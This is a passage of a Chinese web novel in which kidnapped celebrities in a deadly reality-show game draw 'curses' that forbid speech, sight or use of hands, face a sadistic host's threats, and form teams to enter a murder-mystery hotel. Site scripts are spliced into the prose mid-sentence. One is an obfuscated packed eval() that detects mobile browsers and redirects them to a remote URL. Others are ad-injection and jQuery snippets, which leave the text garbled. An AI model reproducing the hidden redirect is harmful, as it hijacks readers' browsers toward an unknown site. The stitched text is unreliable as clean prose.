黏腻湿稠的触感从指尖传来,冰凉一片,血浆有点凝固,入手像是摸到团蠕动的软泥,又仿佛是一滩稀烂的变质果冻,说不出的膈应。 童无垠眼睛一闭一睁,强忍住心头不适,捏住混杂在血浆中的那条细条状凸起物,将其从墙上抠下。 取下后拿在手里展开,发现它实际是一张卷成筒状的软薄卡片。 外面还裹着层防水膜,因而得以轻易擦去糊在表面的血迹。 她看清卡片上写着的几个大字: 「亡者诅咒你: 于红光未亮之时,不得开口,违立死!」 从内容直译,大体意思就是:游戏期间不允许她说话,但“红光亮起”时,似乎是特例,可以开口。只是尚且不清楚“红光”指什么、出现形势如何、持续多久。 对于童无垠身体力行,率先揭下第一份诅咒的举动,追梦人觉得她相当识趣上道。本来快被这群嘉宾磨磨唧唧模样消磨殆尽的耐心,也短暂续上了弦: “好!NL已经率先抽取了她本场游戏遭受的「诅咒」,接下来,还有八份,你们其余人各自寻找,从墙上取下后就代表‘选中’。” 有人身先士卒,且深知没有讨价还价的余地,除童无垠以外的众人,都上前在满墙的血浆中寻找起类似的纸筒——有了明确的目标特征,找起来并不算特别费力。 很快,除了高清如、文自宇,大家都找到了。 高清如娇美的脸庞皱得如同苦瓜一般。 她几次鼓起勇气想要凑近,却都被这一墙的血液硬生生逼退,她的心跳急剧加速,仿佛要跳将而出;连带着太阳穴也如同被紧紧拧紧的发条,阵阵生疼——她有轻微的恐血症,在这一团血糊糊里找东西,简直就如同在雷点上蹦跶,实在是无法做到。 而那边的文自宇倒不是因为恐血才迟迟没有找到「死者的诅咒」。 他的注意力完全被这幅眼睛的绘像吸引住了,整个人在不远处来回踱步,似乎是在寻找一个绝佳的角度。 童无垠在心中暗自思忖,文自宇倒是无愧他标签上所写的「摄影师」之名,甚至有点超标,这会儿还在找摄像角度?也是个奇人…… 追梦人翘着腿,脚尖在空中一点一点,显得有点暴躁: “我说你俩!快点找,别磨蹭,不然谁找得慢让我心烦,别怪我电他/她!” 此话一出,高清如浑身一颤,牙关紧咬,对电击的恐惧瞬间战胜了对血液的恶心。两只手齐上,在整面墙上疯狂地来回摸索,原本自然垂直仿佛血泪般的痕迹,被她这么一抹,顿时糊作一团。 凌乱的痕迹将底下的“眼睛”绘像也遮住了。 文自宇此人,一直以来存在感极低,向来不怎么说话,也不发表看法,更不与人起冲突。然而此刻,他却如同变了个人似的,一个健步冲上前,紧紧钳制住高清如的手臂。 高清如奋力挣扎了几下,却始终没能挣脱开,她一脸惊诧地回头望向文自宇。 他面相看上去要比实际年龄稚嫩许多,平日里俊俏的面容毫无攻击性。但此时满布阴云,竟然显得有几分可怖,只听他厉声喝道: “不要乱涂乱画!” 高清如吓得发出一声惊叫,魂都吓掉半截。 本来满手的血浆,已经是突破心理防线了,还突然被一个印象里好脾气、交情还过得去的男生喝斥。 她整个人瞬间被逼到极限,人也有点半拉崩溃了。 见势不妙,童无垠上前扶住高清如因为腿软而摇摇欲坠的身体,叹了口气,指向墙上那颗泪珠旁的一处不起眼的凸起:“你刚刚抹开时,我看到了,这里有一张,你去拿上吧。” 高清如被童无垠揽在怀中,后背有了依靠、感觉瓷实许多,心也跟着安定了不少。她泪眼朦胧地回看向童无垠,心中突然燃起了希望:对啊,还有她!虽然年纪轻轻,却极为聪明。如今没了莎露,跟着她一起也是可以的啊…… 然而,说完这句话后,童无垠将高清如扶正站稳,接着便退开几步,没有和高清如进一步深入沟通的打算。 至于文自宇,早在高清如尖叫时就松了手,似乎也为自己一时冲动下做出的举止而深感骇然,一个劲道歉:“抱、抱歉!清如,我就是看这画被毁了,感觉……你别放在心上!” …… 插曲过后,有惊无险,所有人都拿到了属于自己的「诅咒」。 诅咒当然不是好东西,拿到它也不是什么值得庆祝的事情,但好歹没有人遭受电击。 追梦人被这场闹剧逗得直乐呵,别说电击他俩了,看上去要是他们二人愿意打上一架,撕个头皮飞溅、衣裤崩裂的,他只会觉得更有意思、笑得更大声。 倘若“龙心大悦”,当场奖励他们都有可能。 九个人的诅咒纸片摊开来看,并非完全各不相同,其中存在着重复的情况。 「诅咒」共有三种。 分别是: 「亡者诅咒你:于红光未亮之时,不得开口,违立死!」 「亡者诅咒你:于任何时候,不得睁眼、不得视物,违立死!」 「亡者诅咒你:于任何时候,不得使用双手,违立死!」 现在还不是游戏期间,暂时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730413|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还可以不受诅咒的限制,自由商讨对策,交流意见。 可再怎么推移,对于要上战场的人来说,危险是无可逃避,必须直面的。 诅咒的内容,并不容乐观,或者说直白点,是极为苛刻、恶毒。 不让说话的限制,竟然还是三种当中最能让人接受的了。今日的游戏,连追梦人都说过,是“一不小心就会死掉”的程度。 不让看,不让用手,这该如何是好? 真碰上危险岂不是半点反抗能力都没有? 追梦人不紧不慢地饮尽了杯中的茶,随后放下杯子,搓了搓泛油的下巴,目光微妙地看向了嘉宾中的一个人:高清如。 当意识到被注视的人是自己时,高清如顿时陷入慌乱之中,拢了拢头发,检查起自身仪容来——她也不知道为什么自己突然要这样做,也许是在娱乐圈工作多年,下意识的反应。 她素面朝天,却依旧柔美动人,皮肤细腻光滑,唯有眼下因昨日疲倦而生出些许乌青。披散的波浪卷发,在今日被她简单地挽起,盘于脑后,身上依旧穿着昨天那条羊羔绒过膝连衣裙,打理得极为妥帖,既没有起球,也不见发皱。此刻的她亦十分小心,没有让满手的鲜血沾上衣服半点。脚上蹬着一双白色漆皮圆头皮鞋,皮面上有一点污渍,那是刚刚慌乱间踩到自己的脚而蹭上的。 任谁看了都得赞一声风姿绰约,不愧是曾红极一时的女歌手。 高清如头脑开始发昏,满脑子都是圈内一位前辈曾提到过的血泪名言:「可美丽,不总是一个祝福。」 她第一次如此清晰地意识到,自己心理承受能力原来这么薄弱,追梦人一个饱含深意的眼神,就叫她怕得要死,两股战战。 她想,追梦人那猥琐神色,莫不是看上她了吧? 做一个美丽的女人,并非易事。不但要历经与他人相同的危险游戏和生存危机,还要承受这些…… 她恨,她恨! 不料追梦人阴恻恻开口,说的竟然是另一件事。 “怕你们的小脑瓜子记不住,友情提醒:游戏正式开始后,别忘了做「每日任务」,也许任务失败的结果,比你们想的还要严重。” 原来就是这事儿,还好还好。 高清如松了口气,回过神来,见众人的目光竟皆聚焦在她的身上。 这是……? 张木语气犹疑,看她的眼神像在审犯人:“追梦人说起任务,我才发现……你的任务好像是非公开的,什么情况?” 高清如木在原地,脑子里有只土拨鼠在尖叫:果然!果然!果然被质问了!啊——!啊——! 她被接二连三的事情搞得几近崩溃,却还是努力维持情绪稳定,如实说明:“我不知道,这非公开任务的内容,都现在我都不知道是什么。” 林志德也掺合进来,不太相信她的说辞:“到现在都不知道任务内容?你没骗我们吧?!” 解释再多也是白搭,高清如明白这点,直接转头看向追梦人,大着胆子问到:“导演,您能讲解下「非公开任务」吗,我不知道任务内容,这件事您比谁都清楚吧!” 说完,她立刻低垂脑袋看着自己的圆头皮鞋,既有些害怕追梦人追究她语气不好、竟敢质问他,又有些震惊于自己竟有勇气说出刚刚那番话。 追梦人似乎挺欣赏有胆气的人,竟爽快地开口:“嗯哼,我可以作证,你确实不知道内容。” 高清如如蒙大赦,抬头矜持地朝林志德和张木颔首,表示自己的无辜。 但下一刻,追梦人话锋一转:“「非公开任务」,顾名思义,任务内容只告诉你一人,等今日游戏正式开始,你就会知道。” “至于你知道内容后,要不要告诉别人,就取决于你自己了,桀桀桀……” 这番话,无疑有将高清如架在火上烤的意图。 童无垠将高清如的无措表情,以及几人对她投去的怀疑目光尽收眼底,心里门清:追梦人提到每日任务,自然不是出于好心提醒,而是旨在引出高清如「非公开任务」的话题,将她塑造成矛盾与猜忌的中心。 目的就是搅浑水,挑拨人心,叫他们九人永远都成不了一个真正的“团体”。 …… 属于第二日游戏的铺垫,终于齐全。 追梦人咧开嘴,露出一个极其夸张的笑容,那笑容仿佛是从地狱深处攀爬而出的恶鬼所展露的狰狞态貌——自时而无害的迷惑性中,自揭极具邪恶的真实一角。 他的眼里闪烁着狂热的光芒。 “嘎吱———” 位于大厅尽头,那扇怎么都推不开的大门。 打开了。 19. 悲剧前奏(四) 两扇厚重木门,伴着齿轮“咔哒”声缓缓向外打开。 「门外会有什么?」 众人睁大着眼,心跳如擂鼓——除了谜底即将揭晓时所独有的紧张,还怀揣着一种“不知该期待什么”的期待。 门缝从起初的细微一条,逐渐扩大,直至完全大敞开来。 真切且温煦的冬日暖阳,仿佛已等候许久,透过这道缺口,将犹带暖意的日光倾泄在大厅入口处。 洋洋洒洒,如淡金纱幔般铺陈一地。 阳光刺眼,较之大厅光亮更盛,有一瞬间,众人什么也看不清。 待适应了光线,复又睁眼向外望去。 一时间,大喜尤胜惊讶: 大门之外,竟是一处露天庭院。 庭院中花叶繁盛、草木青翠,一条青石板铺就的蜿蜒小径从大厅门口,一路向院中满翠间延伸,左弯右拐之下,小径尽头掩于草木遮蔽后,不入其内,不可得见。 最引人注目的,当属散布于庭院各处的几株古树。 从大厅里远远望去,也能毫不费力地瞧见树皮上的粗糙纹路——犹如铭刻时间的笔墨,沟壑纵横间都是岁月流逝的见证。古树枝叶也极为粗壮,主干更是须数人合抱方能围拢。 能有这般体量,这几株树显然已在庭院中扎根,少说十数年之久。 童无垠更加确信:惊悚真人秀取景之地、他们的所处之处,为一历史悠久的古宅,有庭有屋,占地也必然不小。 且这又是一个古宅“地处深林,人迹罕至”的有力佐证。 众嘉宾仍站在大厅之中、血眼绘像前。 从这儿看出去,视野受大门门框的局限,看不见庭院左右两侧及上方。 庞洪激动万分,就要动身往门外奔去——开玩笑,只要踏出这扇大门,他就到室外了!天高任鸟飞,自由就在眼前! 然而才跑出两步,就被从头顶处传来的、追梦人冷厉晦暗的威胁劝退: “不许动!我允许你出大门了吗?再敢走一步,我、就、杀、了、你。” 庞洪的脚,硬生生在门口刹住,浑身肌肉因惊忌而抽搐。 室外空间所带来的巨大惊喜,叫他遗忘了还带在脖子上的、那该死的接驳环。有这东西在,他们就算跑到天涯海角……不,压根没机会跑出那么远,就会被追梦人“一键”毙命—— 第一天,他们都曾见过追梦人手中,控制接驳环的遥控器。 追梦人冷笑几声,放过了瑟瑟发抖的庞洪,语含警告:“别以为我不知道你们在想什么,既然会打开这扇门,就说明,我有的是办法确保你们跑不出去。” “在我允许你们出去之前,谁都不许动!谁挪一下步子,我就干掉谁!懂?!” 接着他换上一副虚假笑颜,眼里闪烁着恶意,另起话头: “哼哼,看到灌木后边的建筑了吗?那就是你们今日游戏的场所。” 站在大厅里,隔着一定距离以及层层叠叠的草木,童无垠根本看不清楚那所谓的建筑,但她仍站在原地,没有动。 她能感觉到,追梦人说的话是认真的:如果有人敢在此刻触他霉头,移动脚步,他真的会动手杀人。 因此虽显“窝囊”,可无把握的情况下,童无垠不会为逞一时意气而将性命置于险地。在权利极不对等,无任何反制手段的情况下逞能,那不叫“勇敢”,那叫“鲁莽”。 她不想赌。 更何况追梦人也没有真心要叫他们看清那建筑的意思,估计很快就会有下文,静侯即可。 可也许不是所有人都能想明白这点。 当童无垠余光瞟见身侧有一处衣摆晃动时,她心里就升起了不妙的预感。 用最快的速度回身,伸出手,指尖却只来得及碰到衣摆一角,堪堪擦过。 是莎露。 她不顾追梦人的警告,往庭院方向迈步了。 而童无垠没来得及制止。 童无垠太阳穴处开始抽疼,对于下一秒即将发生的事情,她的潜意识已经给出了答案,而此刻她不愿意接受这个答案。 万幸,预想之中的惨剧没有发生,被另一人阻止了。 常真一站得离莎露更近,在她迈步的一刹那,就按住她右肩,将人牢牢“钉”在原地。 莎露着实未曾料到,嘉宾里除了她自己,竟还有人的力气如此之大。不过她身为职业格斗手,最擅长的便是近身搏斗技巧与最大化地使用力量,在未反应过来之时,或许会短暂受到桎梏;可若反应过来了...... 想要挣脱,也不过是易如反掌之事。 她面露怒色,双手迅速钳住常真一按在她肩上的手臂,下蹲的同时猛然旋身,用身体的重量带动发力,想要给他来个过肩摔。 然而,常真一早有准备。 在莎露有所行动之际,常真一随着她的动势一同俯身,那只未被牵制的手猛地扯住莎露的左腿裤脚,狠狠一拽。这一下子猝不及防,莎露的下盘顿时失去平衡,无法顺利发力。 只听“砰”的一声,本想摔倒他人的莎露,却反而自己单膝跪地。 场面陷入静默的低气压。 莎露维持着半跪姿,纹丝不动,仿佛难以接受眼前的状况,整个人怔愣在当场,如同被定住了一般,呆呆地不知所措。 除了两位当事人和童无垠,其余人完全没反应过来发生了什么: 这是咋了?怎么就内斗,还打起来了呢?! 看不清莎露的表情,因此众人疑惑不解的视线,齐齐聚焦于常真一脸上。 他倒是一如既往的淡定。 常真一低头看着自己掌心,面上深色淡淡,细看也只能看出一丝倦懒,瞧不出半分“内斗”后的情绪波动。 面对其他人的关注,也没有要开口解释的意思。 张木镜片后的眼神一闪,率先开口质问:“你这是干什么?对自己人动手?” 常真一闻言,略略抬起眼皮瞅了他一眼,眸中清冽如明镜,在瞬息的对视间,就看透了张木急切质问背后隐藏的动机。 张木被看得不禁有些发虚,但还是强自撑住了姿态,心想这次是他先动的手,这么多双眼睛看着,怎么也不能叫他脱开了干系去。 常真一可没有当“包子”的癖好,那种有嘴不张、平白无故受人冤枉的事情,他从来不做。 他收回手,插进裤袋里,看了眼仍木在原地的莎露,声线平冷:“她想走,不拦住,怕是性命不保。” 张木下意识地发出一声“哈?”,但他脑子转得倒不慢,很快明白常真一指的是追梦人不让他们挪步的警告,又回想起莎露好像确实有抬脚的动作。 上下文都串连上了,这会儿哪里还有不明白的,因此后半截诘问梗在喉咙口,被他默默咽了回去。 可也不能就此沉默,否则好像常真一短短一句话就给自己堵得哑口无言似的,张木只得干巴巴地道:“那你反应还挺快……” 这出“打戏”眼见得取悦了追梦人,他面带笑意地发出两下重重的“咳——咳——”声,重新吸引了嘉宾们的注意力: “我刚看得仔细,莎露女士,你的脚,有挪动哦……” “所以你,违背了我的规则,只能遗憾地……” 此话一出,萎顿在地的莎露,身体肉眼可见地颤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 动了一下。 童无垠心头也一沉,原以为被常真一遏止的悲剧,难道还是要不可避免地发生了吗? 虽然莎露的行为并不明智,甚至直白点说,不仅鲁莽而且毫无益处——除了触怒追梦人以外,无任何益处——除非她想通过自己的命,来测试追梦人是否真的能激活那根毒针。 可童无垠知道她不是因此而迈步:从刚刚的反应来看,莎露非常害怕违背规则的结果,她不想死。 无力反抗,却非要尝试挑衅……这是出于瞬间的逆反与报复心吗? 脑海中划过许多诸如此类的念头。 童无垠想这些并不是要谴责莎露,抑或是认为她活该,而是出于对身边一切现象本能的思考。她需要理解每个人的状态和动机,这样当“事件”发生时,她就能顺理成章地推理出“是谁做的”、“为什么要那么做”。 所有的思考,都时刻在她骨子里的本能。 而且比起这些,更为强烈的,还是对追梦人的不耻—— 莎露虽动了步子,但还没走出去就停下,从结果而言并未移步。 可说这些都是无用的。 不论何种规定,荒谬与否,实际上都是追梦人一言以定之,他可以做出任何决策。 现在听追梦人的话中意思,似乎是打算追究到底杀了莎露,第二日游戏马上开始,他竟真舍得…… 一连串的“桀桀”怪笑。 追梦人在屏幕另一端笑得仰倒,他一手捧腹,一手擦去眼角冒出的泪花:“算了算了,哈哈哈,看她吓得,好像一条发抖的老狗,在地上蜷成一坨,噗哈哈哈……” 好不容易止住笑,追梦人大脸凑近镜头,近到童无垠甚至能看清他脸上泛着油光、夹着黑头的粗糙毛孔,他的嘴巴一开一合: “这次放过你,下不为例哟。” …… 追梦人是一个恶劣小人,疑似有着精神分裂症。 随着众人走在室外庭院的青石板小路上,童无垠作出了以上论断。 前脚还言之凿凿,不允许他们擅自挪动;后脚就让他们进庭院,按他指示前往游戏场所—— 也就是那栋草木之后的建筑。 果然,一切所谓的规则,只是玩弄他们这些嘉宾的借口与把戏罢了。 童无垠脚踩在青石板上,发出钝拙的闷响,衣角擦着灌木的绿叶和小径旁的细嫩花枝,有种踏青郊游的错觉。 与封闭大厅中那凝固滞涩、全然不流通的空气形成鲜明对比:庭院里空气清新,绿荫遍地。 阳光洒在身上暖融融的,关节仿佛泡在温水里,手脚摆动起来都比平时更自如。 是久违的美好体验。 只是一天功夫,再次身处室外,便已有恍如隔世之感。 众人走到此处,离大厅音响已经有好一大段距离,但追梦人的声音仍然从头顶某处传来,恍若咫尺。 “对,在这个分岔口左转,嗯哼,继续直走,马上就到今日的游戏场所啦!” 有哪里不对。 童无垠心生疑窦,抬头向天空看去,双眼被耀目的日光刺得睁不开。 太刺眼了,一抬头就什么都看不清。 ……等等。 就是这里,这里不对劲...... 现在是几点了?今日早晨九点集合,在血眼绘像前耽搁了些时间,之后就离开大厅前往庭院。 因此,此时大概是在十点左右。 三月,早春时节,气温仍然较低,十点的太阳光通常柔和,就算晴朗无云、天光明亮,也不至于到刺眼的程度。 而这庭院里,日光亮得过分了。 20. 安居天鹅旅馆(序章) 疑惑就像毛衣上的线头,发现一根之后,便越扯越多。 有问题的,不仅仅是过于刺眼的日光,还有这些长势太好的花草绿叶。 以及现下行走之时,温暖的体感。 会有这样与三月时节如此不相符的现象,童无垠想到三种可能性。 首先,她对气候的判断是基于此前自己原本所处的地理位置而来,假设古宅位于另外半球,或者与之前所处的地方相隔数千公里,那倒是能说得通; 其次,是时间出了问题,若他们被绑架后处于昏迷状态的时长并非以为的数日,而是长达数月,那也就意味着如今并不是三月份,而是五月或六月; 而最后一种可能,就是异常的根源来自于庭院本身,譬如庭院中放置了加热设备、人造光、又或者…… 童无垠若有所觉地再次抬头,这次她带着要观察的特征、有目的性地看去,果然发现了端倪—— 天空刺目明亮依旧,眨眼晃神间,竟折射出了一道反光。 ……反光? 原来如此。 童无垠垂眼,原来,他们现在并非身处于真的露天庭院中,或者应该这么说: 此处,是一个大型温室。 庭院上方是透明的玻璃穹顶,所以乍一看去,没有任何异常之处。日光可以轻易通过玻璃进入庭院,光线携带的热量也使庭院内部温度升高,同时使得植物长势喜人。 怪不得,怪不得追梦人那么有把握,笃定他们无法逃脱。 这玻璃穹顶就像一个大玻璃碗似的,倒扣着,将众人罩在了里面。 这处庭院,是特意为他们营造的,一个身处室外的幻梦。 童无垠没有立刻将这发现大声宣告出来,她看着身边众人沉浸于野外绿意,浑身上下是久违的放松姿态,心想等游戏结束,晚点说也许更好。 …… 在绿林小径中行走的“惬意时光”很快来到尾声。 众人跟随指示,抵达一处隐于数棵大树包围间的平顶建筑前。 整栋建筑通体白漆,从外面看,约有两层楼高,并且非常之宽,从他们的位置只能看清面前的三扇大门,无法看到墙面的尽头。 那三扇开在面前的大门,刷着纯黑色的油漆——是与整栋建筑的主色调截然相反的颜色;更为诡异的,是一个巨大的「X」标记,横贯于三扇大门之上,尤为醒目。 X刚好完全地覆盖了三扇门扉: X的四角顶点,分别位于最左、最右两扇门的左右侧; X的中心点,则位于中间那扇门的正中央。 文自宇双手比作镜头的形状,透过“镜头”直勾勾地盯着眼前奇怪的建筑,口中喃喃自语:“好特别……是什么含义呢。” 在庭院里,四周皆是自然绿意,没有了投影屏幕,只能听见追梦人的声音——听上去是少见的严肃认真: “第二日游戏即将开始,本场游戏目标为:「密室生还」加「推理还原」。” “故事背景如下: 1990年,安居天鹅旅馆发生了一起谋杀案,案件曲折复杂,加上受限于当年调查手段单一,调查进展难以推动,凶手难寻。’死者‘自认枉死,心怀怨念,且不甘自身的故事被时间淹没、被世人遗忘。因此,他找到了你们,并委托你们前往安居天鹅旅馆帮助它找出凶手,在夜幕降临之前,还原一切的真相。 当然,你们没有拒绝的权利。 不过,在还原真相前,请先努力活下去吧。 因为被怨恨缠身、憎恶一切的’死者‘,向你们施加了「死者的诅咒」。 记住,在旅馆里,一切听从’死者‘的安排,绝不能违抗,否则,立刻抹杀。 此外,还有一个规则:回答’死者‘提出的问题。” …… 高清如打了个寒颤,她双手环抱自己,搓了搓听完后起的一身鸡皮疙瘩。 她颤巍巍道:“这栋楼,不会就是……天鹅旅馆吧,我们要进去吗……”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林安宁开口纠正她:“不是天鹅旅馆,是‘安居天鹅旅馆’。” “噢......”高清如没想到林安宁这么较真,她想表达的重点明明另有其他,“凶杀案,还有‘死者’……你们不觉得吓人吗?!” 没人顾得上回应高清如,大家都在用最快的速度消化追梦人刚刚所说的内容。 林志德被这个规则、那个规则搞得心烦意乱,他不想再闷头顺从追梦人,因此语气生硬、有些较劲地向追梦人发问:“回答‘死者’的问题?如果不回答或者回答不出呢,又会怎么样?” 追梦人早就料到有人要问这个:“答错或者答不出来,就扣1分。” 他充满恶意地补充道:“才过了一天,你们应该不至于忘记了‘扣分’的概念吧?” 事关性命,当然没人会忘。 说是扣“分”,但实际1分对应接驳环上的一个灯格,每扣1分就会熄灭一个灯格。若三灯全灭,环中毒针就会自动刺破脖颈皮肤,见血封喉的剧毒便能即刻夺人性命。 见林志德脸颊肉抽动,捂住断掌不再说话,追梦人满意地坏笑着道:“很好”。 说着,他像是又脑补了什么刺激场面,语调愈发激昂起来: “你们呢,说实话都是些有名有姓的人物,日子相较而言过得不错,有没有体会过那些弱势人群的感受呢?想想吧,假如你们生活在群狼环伺的环境之中,自身还有缺陷,这样的情况下,你们还能保持冷静、克服难关吗?向我、向观众们证明这一点吧!我们都很期待你们的答卷呀,哈哈哈!” “一共三扇门,每一扇门后面都是相同的场景,你们可以理解为平行时空:每一队经历的场景都是相同的,但你们做的每一个选择都会影响到后续发展,相同的开局不代表一样的结局……你们要谨记于心哟。” “现在,分队吧,三个门,你们需要分成三队。” “五分钟后游戏正式开启,届时没有进入门后的人,直接抹杀。” 21. 安居天鹅旅馆(一) 三扇门静静地矗立在面前。 门通体刷着哑光的纯黑油漆,黑色深沉得仿佛能吞噬一切光芒。 童无垠凝视着这三扇门,心中不由自主地涌起一股奇异的感觉——仿若看的不是门,而是一个个深不见底的黑洞——有着难以言喻的吸引力,将她的目光牢牢牵扯,乃至整个灵魂都被吸入其中。 童无垠回过神来,移开目光。 五分钟后,就要正式面对第二日的游戏,众人心中忐忑,连带着场面氛围也十分紧绷。 追梦人只说了游戏目标,但对于进去后会面对什么样的境况…… 谁都拿不准。 常真一率先开口提及分队事宜:“虽说要分队,但追梦人并没有规定每队几个人。”说着,他走到建筑黑白建筑前,独自一人仔细观察建筑周边的细节。 视线落在仅有「X」标志的分布是唯一差异,其余无论材质还是颜色,都几乎一摸一样的三扇门扉上,陷入了沉思的状态。 文自宇似乎是好奇常真一在看什么,踱步走到他身边,接的话却有点不着四六:“啊?那我们是不是能分成两队?” “不行!”林安宁扶额,文自宇简直不知所云,尽说傻话,而她最受不了卖蠢的人,撇嘴冷笑:“追梦人特意提到要分成三队。常真一说的是三队中每队的人数没有规定。带带脑子行吗......” 常真一说句话,这二人倒是差点拌上嘴。 不过这俩人说了什么,常真一并没有听进去。他说完自己的,就提步朝建筑左手边走、沿着墙细细探去,此时已经走出好几步距离。 他凑近,轻轻嗅了嗅,发现墙面应当是在不久之前刚刚粉刷过,此时还散发着若有似无的涂料气息;墙边与地面的接缝处,植被生长地乖整,既没有伴生的杂草,也不见蘑菇这一类“阴暗处常客”的身影。 心里有了论断,常真一微微抬起眼眸,意外发现童无垠正在看着他,不,准确地说,是看着他的脚下。 在那一瞬间,他们的目光交汇,彼此心中都了然——对方的念头与自己的一致: 这栋黑白宽敞建筑,显然也是近期新建的。崭新墙面、整洁墙角,无一不在证明着这一点。 在此结论之上,童无垠觉察出一丝违和:追梦人竟然有这样雄厚的经济实力? 一幢保养优良的古宅、还有各种机关以及改建……这些必然不会是一笔小的支出,他真的支付得起吗? …… 五分钟的分队时间,现在过去了小半,人员却还是一盘散沙。 深感时间紧迫,童无垠斟酌再三,还是直接地提出了自己的看法:“虽没有规定队伍人数,但最好还是三人一队。” “我们每个人身上都背着「死者的诅咒」,因此有看不见的、说不了话的、不能用手的,不同诅咒的人分在同队,能达成‘互补’效果,应该会更好一些。” 她说这话时,常真一刚从左侧折返——建筑整体非常宽,碍于时间有限没有办法继续探寻,他“嗯”声表示赞同:“有道理,要是三个看不见的人在一起,几乎等于直接交代了。” 其余人对此分配方式也都没有意见,可是,具体谁跟谁一队呢? 人都有私心,想和强的一队,不想和讨厌的人一队。 众口难调。 庞洪左顾右盼,思来想去之间,总觉得不会有人想选择他作为队友,不由有些焦躁:“奶奶个熊的!不能大家都走同一扇门吗?!就这么走了,难道追梦人还能把我们全杀了不成?!” 这话说到林志德心坎里了——他现在满脑子都是拳打脚踢追梦人的画面,恨不得将追梦人按在地上摩擦,以发泄心头之恨。 因此在共同敌人的面前,他这会儿短暂同庞洪和解,不仅没有跟他呛声,还深表赞同。 这不正是利用“法不责众”的道理,来对抗追梦人的好机会么! 一个人犯错,被杀鸡儆猴,以儆效尤很正常;可若是所有人都犯错,你追梦人又待如何?! 真人秀真人秀,看的就是“人”,你人全没了,观众看什么?节目效果怎么来? 林志德越想越热血。 庞洪的想法真可行,反正只要把游戏目标,还有那什么个人任务搞定,自己就大概不会出事。 等等,一提到任务……林志德心中突然涌起一阵心悸。 他的任务是什么来着? 是要在井里待一个小时…… 可是,哪里有井?! 思及此处,林志德内心情绪波动剧烈,全然未察觉到自己已然将心中这些隐忧,全用嘴巴给吐露了出来。直到他发现周围一片安静,众人目光都投向他时,才如梦初醒般地意识到。 不过林志德对此接受良好。说就说了!他的任务每个人都知道,也没什么瞒着不能讲的。 而且这一说,还获得了意料外的信息。 高清如眼睛是真尖,她说自己在来的路上匆匆扫到一眼,像是口井,就位于庭院深处。她手里绞着发丝,带着点怜悯的神色看向林志德:“你的任务……不会就是要去那口井吧?” 林志德太阳穴突突了好几下,直觉事情又不大妙了:还有几分钟就得进门,也就是说,现在不可能有时间完成个人任务。那该不会还得通关游戏以后,再去找那口井做任务吧? 22点任务结算,因此最晚21点前得通关。 这也太……谁知道游戏什么情况,什么时候能结束啊?! 张木瞧出林志德面色不佳,及时出面调解:“不慌。追梦人不是提到过一句:‘夜幕降临前还原所有真相’的话?如果顺利,入夜前就能终结整场游戏了。” 这话确有几分道理,林志德点点头,慌乱的心稍稍安定了些。 童无垠在一旁没说话,心里却仍有疑虑。 追梦人用词模糊,“夜幕降临之前”中的「夜幕」具体指的几点,他没有提到; 其次就是时间的定义也不明晰,并不清楚是基于现实时间,还是游戏内的时间——毕竟连游戏背景都是发生在过去的事,且还有“死者”能与他们交流的魔幻设定,没人能保证游戏内设定的时间,仍是现实的早晨10点多。 林安宁在一旁冷不丁道:“希望别有坑吧……总感觉这次游戏,不会再像昨天那般小儿科了。” 此话甫一出口,如同投下了颗巨型燃爆弹,瞬间炸得林志德、莎露浑身一激灵,俩人齐齐抬眼。 林志德怎么都想不到林安宁会突然来这样一句,理智告诉他现在并非吵架的时候,但忍了又忍,终是没忍住,他指着林安宁破口大骂: “你说什么?小儿科??!我tm可是断了手掌,你管这个叫小儿科??!” 他们这九人嘉宾小团体,矛盾总是层出不穷。 眼看话题就要向着另一个易燃易爆的方向跑偏,而此时分队的时间已然所剩无几,张木见势不妙又赶忙站出来打圆场,好说歹说才安抚住情绪激动的二人。 童无垠迅速地估算了下时间,最多只剩下不到两分钟的时间了。 分队之事已刻不容缓。 她自己背负的「死者的诅咒」是不能开口,因此要找“目不能视”和“手不能提”的两位。 拉住莎露,又扯过站在身侧的文自宇,童无垠果断地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“我们必须现在分队。莎露、自宇还有我,诅咒都各不相同,刚好一组。” 为了不让其他人误解,或因「她为何选这两人、不选别人」而再起争执,童无垠还不忘补充了句: “就近选择的队友,快分队吧,不要再纠结了。” 说的也是实话,选择这两人没有什么特别的原因,纯粹是就近,再加上一点点之前的合作伙伴常真一也是“不能开口”、与她撞了“诅咒”类型,所以不能同一队的因素。 而其他人,她之前都没有真正合作过,选谁都没有什么太大的分别。 时间确实极为紧迫,根本没有足够的空间供大家这般反复拉扯、来回纠缠。分秒必争的形势如同高悬在头顶的利剑,时刻提醒着众人不能有丝毫的拖沓与犹豫。 众嘉宾最终还是支棱了一把,按照各自的诅咒情况以及站位,毫不拖泥带水地分队完成。 …… 常真一从裤子口袋里掏出三条餐巾。 这三条餐巾是在他抽完诅咒卡之后,从大厅的餐桌上顺手拿过来的。 他将餐巾分给抽到“不能睁眼”的三人,让他们将眼睛遮起来——要是不小心忘记了,或者不经意间睁开眼就麻烦了。 有东西覆盖在眼睛上面是一种变相的提醒,而且遮住眼睛本身就约等于多一层保障,毕竟视物的后果对于抽到相应“诅咒”的人来说,是致命的。 这是好意,没有人无脑到连这点都分辨不出。 三人收下餐巾、盖好眼睛后,分成小队的众人站在各自的黑门前: 边门:童无垠「不能言」、莎露「不可视」、文自宇「不用手」; 中间门:常真一「不能言」、林志德「不可视」、高清如「不用手」; 右边门:张木「不能言」、林安宁「不可视」、庞洪「不用手」。 一切准备就绪。 天空中传来追梦人的声音,他没有对话的意图,而是在倒数:“十、九、八……” 